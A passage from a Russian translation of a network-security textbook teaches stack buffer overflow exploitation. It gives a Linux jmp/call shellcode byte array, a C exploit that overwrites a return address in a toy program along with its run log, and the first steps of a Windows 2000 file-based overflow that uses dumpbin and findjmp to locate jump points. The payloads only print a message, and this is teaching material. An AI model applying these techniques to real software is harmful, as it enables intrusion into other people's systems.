Защита от хакеров корпоративных сетей
Шрифт:
popl %ECX # %ECX now holds the address of our string mov $0x1, %EBX
Затем длина записываемой строки записывается в младший полубайт регистра %EDX:
movb $0x09, %dl
Перед обращением к системному вызову следует сообщить операционной системе, какой системный вызов должен быть выполнен. Достигается это записью номера системного вызова в младший байт регистра %EAX – %al:
movb $0x04, %al
Теперь операционная система выполняет системный вызов, номер которого записан в регистр %al.
int $0x80
В конце программы нужно выполнить системный вызов завершения работы <exit> или #syscall 1. Системному вызову exit в данном случае параметры не нужны, поэтому фрагмент кода выглядит следующим образом:
movb $0x1, %al
int $0x80
string:
call code
A call pushes the address of the next instruction onto the stack and then does a jmp
to the specified address. In this case the next instruction after <call code> is
actually the location of our string EXAMPLE. So by doing a jump and then a call, we
can get an address of the data in which we’re interested. So now we redirect the
execution back up to <code:>
.string \“EXAMPLE\n\”
“);В
/****** Shellcode dev with GCC *****/
#include <stdlib.h>
#include <stdio.h>
char shellcode[] =
“\xeb\x16” /* jmp string */
“\x31\xdb” /* xor %EBX, %EBX */
“\x31\xd2” /* xor %EDX, %EDX */
“\x31\xc0” /* xor %EAX, %EAX */
“\x59” /* pop %ECX */
“\xbb\x01\x00\x00\x00” /* mov $0x1,%EBX */
“\xb2\x09” /* mov $0x9,%dl */
“\xb0\x04” /* mov $0x04,%al */
“\xcd\x80” /* int $0x80 */
“\xb0\x01” /* mov $0x1, %al */
“\xcd\x80” /* int $0x80 */
“\xe8\xe5\xff\xff\xff” /* call code */
“EXAMPLE\n”
;
#define VULNAPP «./bof»
#define OFFSET 1500
unsigned long get_ESP(void)
{
__asm__(«movl %ESP,%EAX»);
}
main(int argc, char **argv)
{
unsigned long addr;
FILE *badfile;
char buffer[1024];
fprintf(stderr, «Using Offset: 0x%x\nShellcode Size:
%d\n»,addr,sizeof(shellcode));
addr = get_ESP+OFFSET;
/* Make exploit buffer */
memset(&buffer,0x41,1024);
buffer[12] = addr & 0x000000ff;
buffer[13] = (addr & 0x0000ff00) >> 8;
buffer[14] = (addr & 0x00ff0000) >> 16;
buffer[15] = (addr & 0xff000000) >> 24;
memcpy(&buffer[(sizeof(buffer) –
sizeof(shellcode))],shellcode,sizeof(shellcode));
/* put it in badfile */
badfile = fopen(“./badfile”,“w”);
fwrite(buffer,1024,1,badfile);
fclose(badfile);
}Пример выполнения программы переполнения буфера представлен ниже:
sh-2.04# gcc sample4.c -o sample4
sh-2.04# gcc exploit.c -o exploit
sh-2.04# ./exploit
Using Offset: 0x8048591
Shellcode Size: 38
sh-2.04# od -t x2 badfile
0000000 4141 4141 4141 4141 4141 4141 fc04 bfff
#########
*
0001720 4141 4141 4141 4141 4141 16eb db31 d231
0001740 c031 bb59 0001 0000 09b2 04b0 80cd 01b0
0001760 80cd e5e8 ffff 45ff 4158 504d 454c 000a
2000
sh-2.04# ./sample4
EXAMPLE
sh-2.04#В первых двух строчках, начинающихся с gcc, содержится вызов компилятора для трансляции уязвимой программы sample4.c и программы переполнения буфера exploit.c. Программа переполнения буфера выводит смещение области размещения управляющего кода в стеке и размер программного кода полезной нагрузки. Попутно создается файл « badfile », к которому обращается уязвимая программа. Затем отображается дамп содержимого файла «badfile» (команда octal dump – od) в шестнадцатеричном формате. По умолчанию эта версия команды od не отображает повторяющиеся строчки, выводя вместо них строку, начинающуюся звездочкой «*». Поэтому в дампе не показаны повторяющиеся строчки со смещениями от 0000020 и до 0001720, заполненные командами 0x41 из последовательности команд inc %EAX. И наконец, приведен отчет работы программы sample4, которая выводит строку EXAMPLE. Если просмотреть исходный текст уязвимой программы, то можно заметить, что ничего подобного в ней запрограммировано не было. Этот вывод был запрограммирован в программе переполнения буфера. Из этого следует, что попытка воспользоваться переполнением буфера в своих целях оказалась успешной. Пример программы переполнения буфера для Windows NT
Рассмотрим возможность использования ошибки переполнения буфера в Windows NT. Большинство рассматриваемых в этой секции подходов применимо ко всем платформам Win32 (Win32 – платформа, поддерживающая Win32 API, например Intel Win32s, Windows NT, Windows 95, MIPS Windows NT, DEC Alpha Windows NT, Power PC Windows NT), но в силу различий между платформами не все способы применимы к каждой из них. Приведенная ниже программа была написана и оттестирована в Windows 2000 Service Pack 2. Она может работать и на других платформах, но из-за ее простоты и минимума функциональных возможностей, реализованных в ней, этого гарантировать нельзя. Пригодные для различных платформ способы переполнения буфера будут рассмотрены в этой главе позднее.
Известно большое количество способов переполнения буфера в Windows. Приведенная ниже программа демонстрирует лишь некоторые них. Для того чтобы программа получилась небольшой, рассмотрена реализация непереносимого переполнения буфера. Программа предназначена для выполнения в Windows 2000 Service Pack 2. Для выполнения на другой платформе потребуется повторная компиляция и, возможно, внесение в программу небольших изменений.
Программа выводит всплывающее окно – сообщение с текстом приветствия «HI».
На примере программы будет рассмотрено:
• создание загрузчика (средства доставки);
• построение программы переполнения буфера;
• нахождение точки передачи управления (точки перехода);
• запись программного кода полезной нагрузки.
Создание загрузчика. Загрузчик ориентирован на работу с файлами, поскольку было известно, что исследуемое переполнение буфера проявляется при чтении данных из файла в буфер. Было также известно, что уязвимая программа читает из файла двоичные данные. Поэтому можно было не беспокоиться о нулевых байтах в управляющем коде. В результате был написан простой загрузчик, который записывает управляющий код в файл. Уязвимая программа прочитает из файла программу переполнения буфера в буфер данных.
Средства записи в файл в Windows NT довольно просты. Для открытия файла, записи в него и закрытия файла в программе были использованы функции программного интерфейса приложения API CreateFile, WriteFile и CloseHandle. Буфер writeme предусмотрен
//open the file
file=CreateFile(“badfile”,GENERIC_ALL,0,NULL,OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,NULL);
//write our shellcode to the file
WriteFile(file,writeme,65,&written,NULL);
CloseHandle(file);Запись программы переполнения буфера. Из описания уязвимой к переполнению буфера программы ясно, что для подмены содержимого регистра EIP следует изменить в буфере первые 16 байт данных, где первые 8 байт содержат данные, последующие 4 байта – сохраненное в стеке содержимого регистра EBP и еще 4 байта – сохраненное значение регистра EIP. Другими словами, в буфер должно быть записано 12 байт информации. Было решено записывать шестнадцатеричный эквивалент двенадцати команд процессора Intel nop, то есть 12 байт 0x90. На первый взгляд это похоже на способ использования последовательности команд nop, но это не совсем так, поскольку на сей раз можно определить точный адрес перехода и, следовательно, нет необходимости выполнять ничего не делающие команды. В данном случае последовательность команд nop является заполнителем буфера, которым в стеке перезаписывается буфер данных и сохраненное содержимое регистра EBP. Для заполнения первых 12 байт буфера байтом 0x90 используется функция memset из библиотеки функций языка С.
memset(writeme,0x90,12); //set my local string to nops
Поиск точки перехода. После подготовки буфера следует найти подходящую точку перехода. Уже упоминалось о многочисленных способах загрузки в регистр EIP указателя на нужную программу. Обычно для этого в отладчике устанавливается точка прерывания перед выполнением команды ret и анализируется содержимое регистров. Например, содержимое регистров в точке прерывания может быть следующим:
EAX = 00000001 EBX = 7FFDF000
ECX = 00423AF8 EDX = 00000000
ESI = 00000000 EDI = 0012FF80
ESP = 0012FF30 EBP = 90909090Перед командой ret регистр ESP указывает на область в стеке, расположенную следом за областью сохранения содержимого регистра EIP. После того как команда ret продвинет содержимое регистра ESP на 4, он станет указывать на область памяти, из которой этой же командой ret будет восстановлено значение регистра EIP. После восстановления EIP процессор выполнит команду, адрес которой совпадает с содержимым регистра EIP. Это означает, что если с помощью регистра ESP в EIP будет загружен нужный адрес, то с него продолжится выполнение программы. Отметим также, что после восстановления регистра EBP в эпилоге функции в регистр было загружено 4 байта заполнителя буфера 0x90.
Теперь найдем в выполнимом коде уязвимой программы команды, которые позволили бы с помощью регистра ESP загрузить нужный адрес в регистр EIP. Для этого воспользуемся программой findjmp. Для большей эффективности поиска потенциально уязвимых частей кода рекомендуется определить импортированные в программу динамически подключаемые библиотеки DLL и исследовать их выполнимый код. Для этого можно воспользоваться входящей в состав Visual Studio программой depends.exe или утилитой dumpbin.exe.
Воспользуемся более простой утилитой dumpbin, с помощью которой можно быстро получить всю интересующую нас информацию. Для этого в командной строке введем следующее:dumpbin /imports samp4.exe
Microsoft (R) COFF Binary File Dumper Version 5.12.8078
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.
Dump of file samp4.exe
File Type: EXECUTABLE IMAGE
Section contains the following imports:
KERNEL32.dll
426148 Import Address Table
426028 Import Name Table
0 time date stamp
0 Index of first forwarder reference
26D SetHandleCount
174 GetVersion
7D ExitProcess
1B8 IsBadWritePtr
1B5 IsBadReadPtr
1A7 HeapValidate
11A GetLastError
1B CloseHandle
51 DebugBreak
152 GetStdHandle
2DF WriteFile
1AD InterlockedDecrement
1F5 OutputDebugStringA
13E GetProcAddress
1C2 LoadLibraryA
1B0 InterlockedIncrement
124 GetModuleFileNameA
218 ReadFile
29E TerminateProcess
F7 GetCurrentProcess
2AD UnhandledExceptionFilter
B2 FreeEnvironmentStringsA
B3 FreeEnvironmentStringsW
2D2 WideCharToMultiByte
106 GetEnvironmentStrings
108 GetEnvironmentStringsW
CA GetCommandLineA
115 GetFileType
150 GetStartupInfoA
19D HeapDestroy
19B HeapCreate
19F HeapFree
2BF VirtualFree
22F RtlUnwind
199 HeapAlloc
1A2 HeapReAlloc
2BB VirtualAlloc
27C SetStdHandle
AA FlushFileBuffers
241 SetConsoleCtrlHandler
26A SetFilePointer
34 CreateFileA
BF GetCPInfo
B9 GetACP
131 GetOEMCP
1E4 MultiByteToWideChar
153 GetStringTypeA
156 GetStringTypeW
261 SetEndOfFile
1BF LCMapStringA
1C0 LCMapStringW
Summary
3000 .data
1000 .idata
2000 .rdata
1000 .reloc
20000 .textВ результате просмотра отчета работы утилиты dumpbin.exe выясняется, что в уязвимую программу samp4.exe встроена единственная динамически подключаемая библиотека DLL – kernel32.dll. Несмотря на многочисленные ссылки в библиотеке kernel32.dll на другие библиотеки, пока для поиска подходящей точки перехода достаточно kernel32.dll.
Поиск выполним с помощью программы findjmp, которая найдет в двоичном коде динамически подключаемой библиотеки kernel32.dll потенциальные точки перехода с использованием регистра ESP. Для этого вызовем программу findjmp следующим образом: